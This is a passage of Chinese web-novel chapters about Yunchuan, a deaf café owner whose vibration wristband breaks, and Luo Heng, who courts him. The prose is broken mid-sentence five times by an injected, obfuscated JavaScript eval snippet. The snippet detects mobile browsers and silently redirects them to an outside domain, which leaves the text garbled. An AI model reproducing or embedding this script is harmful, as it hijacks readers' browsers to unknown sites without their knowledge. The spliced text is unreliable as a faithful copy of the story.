云川从小就听不到声音,也不会说话,除了打字之外,手环就是他和这个世界最大的联系。 而在打字之前,他要先靠手环知道别人在找他。 没有了手环,就像是被这个世界抛弃了。 迷茫得不知怎么办的时候,口袋里的手机振动了。 手机的振动远没有手环强烈,连最弱的那一档振动都比不了,如果不是攥在手里,云川总是会错过手机的新消息提示。 他以为是云芸的定位更新,急急地掏出来看。 可手机屏幕上干干净净,什么都没有。 他疑惑地摆弄了半天,确认没有任何新消息——最新的定位提示,十几分钟前就已经更新了。 云川瞪着眼睛想了半天才反应过来:他的手机有点问题,切换响铃和振动模式的那个小按键有些接触不良,总是会自动跳转模式,并且以振动的方式提示使用者。他听不到声音,响铃或振动对他来说根本没区别,再加上比起手机,他更依赖手环,这个不大不小的毛病也就一直忽略了。 直到今天手环坏了,这个原本无关痛痒的接触不良才显得严重。 ……以前都没发现,原来手机经常在他注意不到的时候发出这样短暂的振动。 云川的注意力本来就全部集中在手机上,生怕错过了谁的消息,在一次又一次的接触不良后,一直脾气温和的人也忍不住变得暴躁起来。 他紧紧攥着手机,在客厅里漫无目的地走着。在手机接连振动几次之后,他渐渐能够分辨出响铃模式切换时的振动方式,可这丝毫不能阻止他在手机每一次振动时下意识地低头去看。 夜逐渐深了,他又开始担心起大门,他神经质一样地反复确认大门有没有好好地反锁上,甚至几次透过猫眼检查外面有没有人。 反复几次后,云川有点受不了了。他给云芸发了一句【今天没什么事情吧?我先睡了哦】,便抓着手机躺到了床上。 可是,没有手环的焦虑和手机一再传来的毫无意义的振动,让他根本无法入睡。 折腾了快一个小时,云川依然毫无困意。他打定主意,不再去管手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189185|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他把手机倒扣着埋在被子里,紧紧闭着眼睛试图酝酿睡意。 ……但还是不行。 他又跑下床检查了一遍家里的大门,还把云芸卧室的房门也锁上了,试图用这种方式找到一点安全感。 再次回到自己的卧室时,他看到手机在被子里透出了一点点极微弱的光。 他小跑着去床头坐下,又把手机从被子里刨出来。 手机收到了好几条新消息,甚至还有两个电话。 ……全都来自同一个人。 云川悄悄屏住了呼吸。 像是点开微信这样简单的动作都需要下定决心,他手指动了动,指尖一直摩挲着手机的边框,迟迟没有点进去看。 这时,骆恒的新消息又进来了。 原先放在被子里时怎么也感受不到的微弱振动,此时终于踏实地传进了云川的手心。 云川点开微信—— 【你睡了吗?我有几句话想说。】 【已经睡了?】 【……不行,有些话我今天必须说,不说我憋着难受。】 【你真的这么早睡吗?才11点。】 【刚刚打了个电话,这样也没感觉到振动吗?】 【云川……?看见了给我回句话行不行?】 他看了太久,久到手机灯光灭了,又自动锁了屏。 手机屏幕在黑暗里也能照出一点模糊的影子,云川看着屏幕里的自己,脸上是并不常出现在自己身上的委屈和恐慌。 再闭闭眼睛,一小滴水珠滚到了屏幕的角落,又沿着边角划到被子上,消失不见了。 他按亮手机,打了一个“嗯”字。 想了想又觉得不够,他又低着头敲敲打打。 【一片云云云:嗯!qvq】 回复刚刚送出去的瞬间,骆恒的第三个电话打进来了。 19. 19 接吻啦! 这个下午和晚上对骆恒来说也并不好过。 循规蹈矩的人偶然间冲动了一次,造成的结果却不一定真的能坦然接受。 骆恒靠在办公室的椅子上,想和云川说几句话,又不知从何说起。 下班后他和往常一样,绕路去了火烧云。正要停在街边时,他忽然瞥见云川呆愣着看向大门。 骆恒一脚踩了刹车—— 差一点就要撞进云川的视线里了。 骆恒悄悄向后倒了一点,确定云川看不到他时才停下。他趴在方向盘上,伸长脖子往火烧云望去。 五点多不是咖啡店的营业高峰期,他等了十分钟,也只进去了两位客人。 不过,云川不知怎么了,好像有些心不在焉,动作比往常迟钝了不少,人看着也不开心。 骆恒在车里看了很久,看他挤出笑容招呼客人,看他在客人离开之后又坐回去发呆。 也不知道是怎么了,看着就是不对劲。 骆恒把下巴搁在方向盘上,视线一直没有离开过街对面的那个人。 方向盘上还贴着云川上次送的贴纸,骆恒特意挑了一个开车的小云朵贴在上面。 几分钟之后,他看到云川起身,取出一小盘沙拉,自己一个人坐在吧台里慢吞吞地吃掉。 也说不上来原因,骆恒就是觉得心里难受。他看不下去了,干脆驱车离开。 骆恒并不后悔冲动下的坦白,他只是没想这么早告诉云川。在没有任何心理准备的情况下,突然接受来自同性的爱意,换成别人也不可能接受。 等一下! 骆恒从沙发上坐起,大脑飞速运转着。 在明白自己的意思后,云川说了什么? 他确实在躲避那些倾泻而出的爱意,可是他的不能接受和不想接受,都只是因为不愿成为别人的负担…… 他说了那么多,只是觉得爱人早晚会离开他。 意识到这一点后,骆恒只经历了短暂几秒的喜悦。他躺回沙发上,喜悦又很快变成苦涩。 他当然确定自己并非一时情绪上头,也绝对确定云川不会是他的负担,可这些东西,云川不相信,也不太想给个机会让他证明。 那可不行! 云川不能因为别人做过的事情连坐他! 他蹭地从沙发上坐起来,摸出手机给云川发消息。 ……打了一大堆字又都删掉了,告白这种事情,怎么能用微信? 最后他只问云川睡了没有。 * 28岁的骆恒早就没有了毛头小子的急躁,不过,现在这个成熟稳重的骆恒,在等待云川回复的过程里,也依然相当不淡定。 他在沙发上坐不住,一会儿起来去厨房倒水喝,一会儿跑到窗边看看外面天有多黑,总之就是闲不下来。 最后,骆恒干脆洗了个澡冷静一下。 然而…… 骆恒坐在床上边擦头发边看手机。一个小时过去了,云川那边没传来任何回复。 云川不理他。 他看了看时间,十点多,云川会这么早睡觉吗?应该不会吧。 他又发了一条消息过去,继续等待回复。 云川的手机是关联了手环的,新消息或APP的推送都有相应的振动提示。那个手环的振动骆恒也是见识过的,只要戴在手上,几乎不可能感受不到。 也就是说,云川没有回复,基本约等于不想理他。 骆恒:“……” 他有点犹豫,要不还是明天去火烧云找他?总不可能为了躲自己连夜搬店吧! 不过骆恒还是不死心,脑子一热又发了几条消息过去。 十几分钟过去后,云川那里依然安安静静,连一个标点符号都没有回他。 沮丧过后,骆恒觉得不对劲了。 大概是因为失聪、只能用文字交流的原因,云川对回消息这件事很有些强迫症,先前每一次聊天,几乎都以他的回复作为结尾,哪怕只是回一个表情,也一定要让对话结束在自己这里。 再有……如果云川不想理他,那早就不理了,根本不会等到现在,下午也不会解释那么多。 再联想到云川的性格……面对那几个说话那么难听的流氓,云川都能笑脸相对,他不应该是不想理人就故意不回复的人。 骆恒越想越觉得不对。 晚上十点五十,骆恒做了这一天里第三件冲动的事。 他揣上车钥匙,去了云川家。 为了确认是不是有真的没感觉到手环振动的可能性,骆恒在路上还打了两个电话。 新消息提示只震动一下,或许有可能错过,电话可是会连续振动的,总不能再感觉不到了吧! 但,云川依然没有任何回应。 到了现在,骆恒已经无暇考虑别的,他几乎确定,这一晚云川绝对发生了些什么事,让他不能、或者无法回复自己! 车子开得飞快,导航显示15分钟的路程,骆恒只开了9分钟就到了。 上次来的时候,他隐约记得云川住在5楼,可并不知道到底是哪一间。 他下了车,想都没想直接进了楼洞。 老房子没有电梯,5月的夜晚,骆恒爬楼梯居然爬出了一身汗。 终于踏入五楼这一层后,他左右看看,实在无法确定这一层三户中,到底哪一户是云川家。 他脑袋有些混乱,对云川的担忧到底还是超过了一切。他屈起手指,打算一家一家敲过去问。 正要敲响最左边这一户的房门时,骆恒的手机响了。 滴的一声,是新的微信。 骆恒心跳都快停了。 他手忙脚乱掏出手机,等了一晚上的人终于跳进眼睛里。 【一片云云云:嗯!qvq】 之后的动作有点脱离大脑的掌控,骆恒反应过来的时候,手已经先脑袋一步,拨了电话过去。 他哭笑不得地按掉电话,只是云川竟然更早一步接听。 他举着电话,老半天才自嘲地笑笑。明知道云川根本不会听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189186|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,他还是说道:“我真是有点傻了……” 他挂断电话,拍了一张地面和楼梯的照片发给云川。 发送照片时的小圆圈缓慢地推动着,当圆圈终于从空心变成实心后,骆恒听到了一阵急切的脚步声。 也很神奇,居然就是刚刚打算敲的那一家。 房门很快被打开,想了一晚上的人就这样出现在自己面前。 他头发乱糟糟的,像是刚在床上滚过一圈;身上穿着宽松的睡衣,颜色是白色的,但好像没有他皮肤白,上面的图案不出意外,依然是小云朵。 他眼睛有点红,脸上的表情竟然有几分委屈。 一整晚的担忧终于烟消云散,骆恒长长地出了口气,说:“吓死我了,我还以为你出什么事了。” 他几乎没有说出声,只是用嘴型比划着。这个夜晚的担心、忧虑,终于在见到云川之后,全部归为平静。 云川扁了扁嘴,想要低头打字时,楼道的灯光灭了。 声控灯太久没有感应到声源,恢复了黑暗。 慌乱的脚步又一次响起,随之而来的是大门重重关上的声音。而灯光再次照亮时,楼道里已经空无一人。 骆恒推着云川进了门。即使在一片黑暗中,也依然能准确找到那双淡色的唇。 他焦急地咬着云川的下唇,像是这样才能确定云川就在他面前。 惊呼无法说出口,只能变成意味不明的抽气声。 云川习惯性地伸手抵住他,不过这一次的拒绝显然没有上一次容易。骆恒很轻松地单手捉住他,揽住他的腰身带到桌边,两人一起倒了下去。 云川的上半身被压在餐桌上,两只手也被单手制住按在头顶。骆恒用另一只手捏着他的下巴,舌头也挤了进去。 唇瓣被吮得发麻,湿漉漉的舌头顶在他的下颚,嘴巴被迫张开着,嘴角也被细细舔舐过去。 也不知道过了多久,骆恒才松开手,从他身上起身。 ……还帮他擦了擦嘴角的水渍。 云川尴尬地坐起来,耳畔是骆恒粗重的呼吸,搔得他怪痒的。 他就这么坐在餐桌上,动也不是不动也不是。 嘴唇麻麻的,手腕好像还残留着被用力攥过的肿胀,鼻尖也紧张得渗了两滴汗水…… 云川像在热水里浸过一遍,热得快要喘不上来气。 他下意识地摸摸鼻子—— 又和骆恒的手撞在一起。 云川触电一样将手收回来,把头压得更低。 骆恒在他耳边说了些什么,他感受到了细微的呼吸,和空气的一点点流通。可是太黑了,他看不到骆恒究竟说了些什么。 骆恒大概也想到了这一点,很快,客厅的吊灯亮了。 云川眯了眯眼睛,眨巴了好几下眼睛才适应了突然的光亮。 他看到骆恒向他伸出手—— 云川搓了搓手指,迅速瞟了这人一眼,借着他的掌心跳下了桌子。 骆恒箍着他的腰,稳稳地抱在了怀里。 20. 20 羞羞 云川简直觉得整个人快要爆炸。 他悄悄转开头,不想让骆恒看到自己一阵阵发烫的脸,却没想过,这样会暴露同样通红的纤细脖颈。 骆恒也确实看到了。他的喉结动了动,硬逼着自己把视线从云川那半截白皙的颈子上移开。 眼睛再往下看看,是晃荡在宽松睡衣里面的、窄窄的腰线。 太瘦了,动动手就能整个拢住。 骆恒没忍住,挠心挠肺地想知道被睡衣裹住的皮肤是不是真如他所想的细腻光滑,只是手掌才刚要覆上去,云川动了动身体,从他怀里退了出去。 柔软的睡衣从指缝穿过,什么都没留下。 骆恒搓了搓手指,也往后退了一步,隔开两人过近的距离。 尴尬的氛围无声蔓延着。 云川手脚僵硬着,眼睛左右乱飘没个焦点。骆恒有心想说点什么缓解一下这阵让人窒息的尴尬,一抬头又看到云川微微红肿的嘴唇。 骆恒无言望天。 过了好一会儿,骆恒觉得自己大概能平复好心情时,才开口问道:“所以,今晚到底怎么了?” 开口前还特意清清嗓子,说话时也刻意装出一副若无其事的语气,明明这房间里只有一个人能听到声音,也不知道表演这些给谁看。 “从九点多开始,不管跟你说什么都没见你有回答,”骆恒继续说,“我实在担心,就……过来看看。” 云川慌乱地点着头,比划了几个动作,又赶紧去摸手机,一会儿想给他看手机按键接触不良总是胡乱振动,一会儿想给他看进了水的手环开不了机。小脑瓜一下装不了这么多事情,把云川急得在原地直转圈圈。 骆恒好笑地拉住他,伸手抓过他的手机,说:“手机怎么了?” 云川写道:【接触不良,总是胡乱振动,烦人!】 骆恒举着他的手机,对着灯光看了看,说:“可能是进了灰,清洗一下试试看吧。” 云川很认真地点点头。 “手环呢?又是怎么回事?” 云川噔噔噔跑回卧室,把手环拿出来捧到骆恒眼前,说:【下午不小心把咖啡洒到上面了,可能因为没有及时晾干,之后就开不了机了。】 手环从外部来看并没有任何问题,骆恒一时之间也无法判断。他想了想,说:“这个手环的说明书还有吗?如果真是进水导致的,可能需要找专业人士修修看。” 云川连忙点头,又跑回卧室把说明找出来给他看。 “哦,到这里维修啊。”骆恒迅速翻了一遍,说,“这样吧,你这个手环我今天带回去,明天中午去店里修,修好了再给你送回来。” 云川可怜巴巴地点了点头,比了一个OK的手势。 骆恒把他的手环小心收好,又问道:“原来今天是因为这样,真把我吓死了。” 云川抓抓脸,抿着嘴,垂头丧气地低着头。 骆恒一下没忍住,伸手揉了揉他的头发。 云川反应还挺大,他躲开骆恒的手,又自己摸了摸头发,写道:【把我头发都弄乱了。】 骆恒:“你要不自己照照镜子?你这头发本来就乱糟糟的。” 云川没再说话,只又摸了摸头发,冲骆恒笑笑,【麻烦你了呀,都这么晚了,你还跑这一趟,明天还要帮我去修手环,我真不知道怎么谢谢你……】 骆恒本想说不麻烦,如果能帮到喜欢的人,大晚上跑这一趟也不算什么。不过,他看着云川有点腼腆的笑脸,心里冒出了点坏念头。 “也不算太麻烦,不过……”骆恒双手抱胸,似笑非笑地说,“你既然都这么说了,那我也不跟你客气了——你想怎么谢谢我呢?” 云川心里升起一个巨大的感叹号。 他像被什么东西戳了脑门一样猛地站直身体,甚至不自觉地往旁边磨蹭两步。 ……又碰到了餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189187|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌。 云川的脸蹭地红了。 他眨眨眼睛,低头绕过骆恒,去厨房给自己倒了杯水喝。 咕噜咕噜咽下水的声音很明显,即使云川背对着自己,骆恒也能想象他吨吨吨喝水掩饰尴尬的模样。 更别提,云川的耳朵还是红的。 骆恒就站在餐厅,看云川喝完一杯又去倒了第二杯,期间还偷偷回头看了一眼,发现自己正饶有兴致地观察他时,又心虚地赶紧转过去。 骆恒真是看笑了。 他仗着云川听不到他说话,在身后胡说八道。 “哎哎,云川,我觉得用可爱形容二十多岁的男人其实不太合适,但我就是觉得你特别可爱,是我有滤镜吗?” “小倒霉蛋,手环坏了,怎么手机也坏了啊?干脆我送你一个手机吧。不过你这次会接受吗?该不会和上次的烤箱一样拒绝了吧。” “真是个坏蛋小云朵,烤箱在我家都生灰了。” “怎么连睡衣画的都是小云朵啊,这该不会也是你自己画的吧?” “我也想要一个画着小云朵的睡衣,你能不能也给我一件啊?我试试能不能穿。” “你看,我刚刚亲你你也没拒绝,我是不是可以认为——” 这话才说到一半,云川吨吨吨喝完了两杯水,放下杯子离开厨房。 表情还有点不自然,但看到骆恒张着嘴巴愣在原地时,他也跟着愣住了。 骆恒:“……” 两人面面相觑。 云川问:【你刚刚……在说什么?】 “……”骆恒欲言又止,“没什么……” 天茂骆总职业病又犯了。面对突如其来、毫无准备的问题时,骆恒会第一时间分析对方提问的真实诉求,来判断如何回答出令对方满意的答案。 几秒之后,骆恒思考完毕。 他脱口而出:“我刚才说,我今晚想住你家。” 21. 21 一点甜 “你看,你现在手环坏了,手机也有点问题,”骆恒试图狡辩,“大晚上一个人在家,肯定很不放心吧!” 云川觉得好像哪里不对,又不知从何反驳,只呆呆站在原地,疑惑歪头看着骆恒。 实际上,骆恒也觉得自己刚才这番言论非常离奇,但话已出口,收是收不回来了。 他只能硬着头皮走上前去,推着云川走向卧室的方向。 “哪个是你的房间啊?你快快快去睡觉吧。” 云川很轻松地就被骆恒推到床上。 不过,骆恒并没有像刚刚一样动手动脚,他只是掀开云川的被子、把人放进去、再仔细把被子卷好。 云川被卷成团放在床上,只露出一张小脸蛋。他还想说些什么,伸手想拿自己的手机。 右手刚钻出被子就被一把抓住。 “老实睡觉,不许说话了。”骆恒摇摇头,改正道,“不许打字了。” 云川拿不到手机,又不会说话,只能悄悄鼓着嘴巴表示不满。 “行了,逗你的。”骆恒闹够了,“我知道,手环坏了,你心里肯定特别不踏实。我在这儿待一会儿,看你睡着了再走,放心吧。” 他拍拍云川的头,拖了把椅子坐到床头,摆弄起云川接触不良的手机,“我先帮你清理一下,看有没有效果。” 云川乖乖点头。 * 这个手机不知是不是用的时间太久了,总之,并不像骆恒想的那样,是因为进了灰尘才导致接触不良。骆恒鼓捣了大概十分钟,最后无奈地摇摇头,说:“没弄好,之后去店里修吧。” 云川摇头,伸手接过手机打了几个字:【不用啦,小问题而已,不碍事的,如果不是因为今晚手环坏了,我都没发现这个毛病呢。】 之后他又打字赶骆恒离开:【你明天还要上班,还是早点回去休息吧,都十二点了……我一个人也可以的。】 他边给骆恒看,边点点头认可自己的话。 云川都这么说了,骆恒也实在不好意思赖着不走,他点点头,说了一句“好吧”,然后拿出自己的手机,两下拔出SIM卡,又伸手拿过云川的手机。 同样拔出了SIM卡。 他在云川不解的眼神里,把两人的卡交换了。 “我的手机没有任何问题,而且振感很强,绝对不会感受不到。”骆恒把自己的手机放进云川手里,“今天你先用着,明天再换回来。” 云川攥着这个并不属于自己的东西,黑亮亮的眼睛盯着骆恒看,过了老半天才按亮手机。 ……还不太会用骆恒的手机,找备忘录都找了半天。 【哎呀,我先熟悉一下……】云川不好意思地写道,【跟我的手机不太一样呢,适应一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189188|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适应一下。】 冒傻气的样子也让骆恒觉得特别可爱。 他忍不住又去逗云川:“我手机里什么见不得人的东西都没有,你可以随便看。” 【……】云川无奈道,【我只借用几个小时,除了使用备忘录和登录我自己的微信之外,我不会看别的软件的。】 “哦——”骆恒点点头,语气夸张,“第十弹表情的灵感有了,头戴礼帽手握手杖的绅士小云朵。” 云川笑了。 他习惯性地想去画个小表情,无奈实在不习惯骆恒的手机,吭哧吭哧找了半天也没找到画板在哪。 骆恒抽走手机,说:“别画了,赶紧睡觉。我走了啊。” 云川埋在被子里点点头。 临走前骆恒给他塞了塞被角,特别是脚下的被子。 刚刚在被子里滚来滚去的,云川的左脚跑到了被子外面,一截脚腕压在被子上,白得晃眼。 他本人无知无觉,骆恒看了却有点心痒。 明明可以提醒他的…… 到底还是没忍住,骆恒绕到床尾,攥住了那截细细的脚踝。 云川吓了一跳,抽了口气,躲开了。 骆恒欲盖弥彰地躲开视线,又搓了搓手指,才无声说道:“……别着凉。” 薄薄的被子下,云川悄悄蜷起双腿,半晌后才慢慢点了点头。 22. 22 修手环 没有手环的夜晚真的很难过,即便手里攥着振动感强烈的手机,也并不能完全抵消云川心里的恐慌。 骆恒离开大概十分钟后,手机嗡嗡地振动了,是一个没有姓名的来电。 只震动了几下就挂断了。 云川恍然大悟,这应该是骆恒,在实验自己是否能感受到振动。 果然,下一秒骆恒就发来了消息。 一个问号。 云川抿抿嘴,回了一个句号。 想了想又觉得不够生动,补了一个感叹号。 之后,骆恒发了一个句号。 短短几秒钟,手机屏幕已经被各种标点符号挤满了。 什么呀,搞得像谜语一样……云川把手机放到枕头旁边,手指抠了抠枕头。 骆恒还不肯休息,又回道:【不要关灯看手机,对眼睛不好。】 感受到振动的云川又爬起来,看着这行字不服气地戳戳屏幕。 我没有在看手机了啊,要不是为了回复你,我早就准备睡了,他想。 不过还是老实地回复了一个小云朵点头的表情。 悬了一晚上的心终于落回肚子里,云川把骆恒的手机放在枕头下面,几分钟后进入了梦乡。 * 本来说好第二天中午的时候骆恒过来把修好的手环还给云川,顺便把两人的手机交换回来,没想到才过十点,骆恒就赶来了。 这会儿客人不多,云川正看着店门口发呆,忽然看见熟悉的卡宴停在街边。紧接着骆恒从里面冲出来—— 真的是冲出来,最后几步还跑了起来。 云川惊讶地看着他,这个急冲冲的样子,可一点都不骆恒。 “功能可以正常用,但是电源指示灯坏了,所以也看不到电量,你记得随时充电。”骆恒语速飞快,“检测了一下,电源老化不严重,现在这个使用频率,一周充一次就差不多。手机手机,卡换回来。” 云川点头,赶忙把手机掏出来——昨天睡得太晚又一直心惊胆战,他刚刚才想起来给云芸解释定位的事情,消息才刚发出去,骆恒就来了。 骆恒两下换好了手机,又说:“临时有工作,我得出差一趟。” 云川感受到了他对这件事的无奈和火气,很谨慎地点了点头。 “也不知道这事跟我到底有什么关系非要让我去,神经病。”骆恒骂道,“昨天大半夜才通知我。算了,不说这个了——” 他朝店里看看,客人不多,只有两个女孩坐在最里面的位置,都背对着吧台。再看看门外—— 没有什么行人,没人会注意到他们。 骆恒摸摸鼻子,手按在吧台上用力一撑—— 凑过去亲了亲云川的鼻尖。 很轻的一个吻,还是吓得云川打翻了装着吸管的小桶。 他伸手,啪地一下打在骆恒肩膀上,圆圆的大眼睛瞪了他一眼,之后也心虚地看向坐在里面的那两个女生。 骆恒闷头笑笑,用食指比了一个“嘘”的手势,又举起两只手,表示“错了错了”。 “走了啊,12点的飞机,快赶不上了。”骆恒火急火燎地来,着急忙慌地说了几句话,马上又要离开。他走到火烧云的大门前,又折回来低声说了一句:“等我回来,有话跟你说。” 云川又僵硬起来,他抿着嘴,幅度很轻地点了点头,不仔细看都看不出来。 不过骆恒还是看出来了。他心情很好地刮了刮云川的鼻子,正好就是刚刚亲过的地方。 “真挺喜欢你的,考虑一下。”他最后低声说了这样一句话,笑着冲云川扬扬下巴,“走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189189|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了啊!” 他离开后,云川站在原地蹭了蹭脚尖。他攥着修好的手环,一时也忘了戴上,就这么看着它发呆。 后来店里那两位客人离开,走前找云川要贴纸,还贴心提示他如果太热了可以把空调温度再调低一点。 【?】云川一下子没反应过来,那两人离开后他才从手机屏幕的反射中看到自己泛红的脸。 【!!!】他尴尬地趴在吧台上,脸都埋进了胳膊里。 ……这下子更不得了了,手臂的皮肤都感觉到了脸上的温度。 云川愤愤起身,跑去空调前调低了两度,又站在那里吹了两分钟空调,吹得全身冷冰冰,才重新回到吧台坐下。 * 手环修好之后,云川终于恢复了正常的生活。 和外界的连接重新搭好,安全感也慢慢回来了。 不过,下午的时候,他发现云芸的定位不太对劲。 按照计划,云芸还会在明市待几天,可不知为什么,今天下午她的定位忽然跑到了明市的机场。 云川发了个问号过去,也没有得到回复。再下一次的定位共享,云芸那边没有更新位置。 手机关机了。 再一联想之前在机场的定位,云川猜测,她应该是回来了,于是早早闭了店,回到家里等她。 没有提前告诉他,就这样突然间回来了……云川心里一沉。 看来,云芸这次真的白跑一趟了。 刚回家不久,手环就振动了。云川跑到客厅一看,果然是云芸拖着行李箱回来了。 不过…… 云芸脸色很差,苍白得像是马上就会晕倒。她看到云川,咧了咧嘴,挤出一个笑容,随后什么都没说,连行李都顾不上收拾便回到自己的房间,这一整晚都没有出来。 23. 23 秦铮 那晚云川在门外焦急等待了许久,云芸都没有任何动静,问什么都不回答,怎么说都不肯出来。 不仅如此,之后的两天里,云芸肉眼可见地消瘦下去。 她请了几天假没去上班,却也没在家里,不知白天都去了哪里。回家后也总在发呆,手语教室的其他老师担心她,私下里和云川提起过。 云川谢过了他们的好意,心里也是同样的担忧。 他除了担心云芸的精神和身体之外,还在忧虑另一件事。 他怀疑,云芸可能找到了秦铮,但他不肯回来。又或者,云芸根本没有找到他,他可能已经……死了。 他想不到还会有什么理由,能让云芸这样心如死灰。父亲离开之后,就算心里再难过,至少表面上她一直是乐观的,然而这一次…… 这一晚,云芸依然是吃过晚饭后就借口休息回了卧室。云川看着她眼睛里几日未消的血丝,犹豫再三,还是没有将心里的疑问说出口。 他失魂落魄回到自己的卧室,沮丧地躺到床上。 他对秦铮的感情很复杂。 说不相信他会抛弃他们是真心话。秦铮是他们家最外向、最开朗的人,他为人和善,也相当有远见。云川学习唇语和画画都是秦铮一再坚持的,当时还把活了二十多年只会手语、也早过了最佳学习年纪的云芸一起薅过去学习唇语,正是因为这样,这母子俩现在才能流畅地同旁人交流。 生活或许有苦涩,但回想起那时候的日子,还是幸福更多。 云川把手指放在床头的抽屉上,再用点力气就能拉开抽屉看到他们一家三口的合照。可是,云川不敢了。 也不是没想过,秦铮是真的受不了了才会离开。只是,当这种可能性真的摆在眼前时,云川还是觉得难以承受。 忘却了许久的记忆被重新涂上颜色,鲜活地跳进他的脑海里。 云川迷迷糊糊地睡着了,梦里全都是秦铮。 学画画不是一件容易的事,对一个五六岁的聋哑孩子来说更是如此。 他不会说话,只会发出啊啊啊的声音;他听不到别人说的话,每天都只能活在自己的世界里。 他是图画教室的异类。 小云川不止一次对父母哭诉过其他同学嘲讽讥笑的目光,云芸对此无能为力,但秦铮会牵着他的手,温声但坚定地说,请不要再区别对待他们家的孩子。 比起健全的孩子,云川这种有先天缺陷的小朋友心思总是更加敏感。好在温暖的爱意能够融化冰雪,十几岁的时候,云川就已经能够不去在意别人对他投来的那些或同情或好奇或打量的目光了。 只是,还没等云川再长大一点,他就不见了。 * 云川是被手环的连续振动吵醒的。 他梦到了太多事情,睁开眼睛的时候,眼眶都是湿的。 他从床上坐起来,甩甩头,胡乱抹了一把眼睛。 是骆恒在给他发消息,这次居然是视频通话。 云川呼噜了一把头发,接通了视频通话。 骆恒的大脸蹭地跳出来,把云川吓了一跳。 出差两天,骆恒暴躁了不少,今天连衬衫都没熨好,皱巴巴地挂在身上。 “这个律师团队真的是有毛病,大晚上十点钟的非要做客户访谈——关键是所有人都很累了啊,大脑都不清醒了,这能问出什么?”视频刚一接通,骆恒就抱怨上了。 他还想说点什么,一抬头愣住了。 云川眼圈红红的,鼻子也是红的。 骆恒用手指蹭了蹭屏幕,微微皱眉,问道:“……你怎么了?” 屏幕那边的人抱着膝盖,动作很轻地摇了摇头。 他咬着嘴唇看向骆恒,过了许久切出了视频界面,打了一句话发出去。 他说:【骆恒,如果亲人离开了,再也不会回来了,怎么才能不难过呢。】 * 他只说了这么一句话,之后就低着头抱着膝盖不去看骆恒。 他听不到骆恒说什么,也没有用口型分辨,只沉浸在自己的悲伤和难过里。 过了很久,久到眼眶里积了太多泪水,眨一眨就会掉下来。 他擦擦眼睛,不想让别人看到自己现在这副模样,一抬头看到骆恒时,正好撞进他担忧的视线。 他看到骆恒说:“他只是去其他地方保护你啦。” 一直忍着的眼泪大颗大颗滚落,云川用手背擦了擦眼睛,慌乱按掉视频通话。 于是这段十几分钟的通话,结束的画面定格在云川流着泪的双眼。 几分钟后,云川回了一条消息。 【嗯!】 * 这一个字、一个标点符号让骆恒看了又看。 他瘫在沙发上,闭上眼睛脑海里全是哭泣的小云朵。 今天是出差的最后一天,明天就能回去见到云川了,可骆恒几乎等不及这几个小时。 真想现在就回去,真想抱抱他…… 骆恒挥掉脑袋里乱七八糟的想法,又去想刚才云川说的话。 云川和母亲相依为命,如果是云芸出了什么事,云川的反应应该不会是这样。 那么,是关于父亲的……? 骆恒从沙发上坐起,两步跑到酒店隔壁的房间咚咚敲门。 这次出差,上次那位何律师也跟着一起来了。 “你干什么啊!”何律睡眼惺忪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 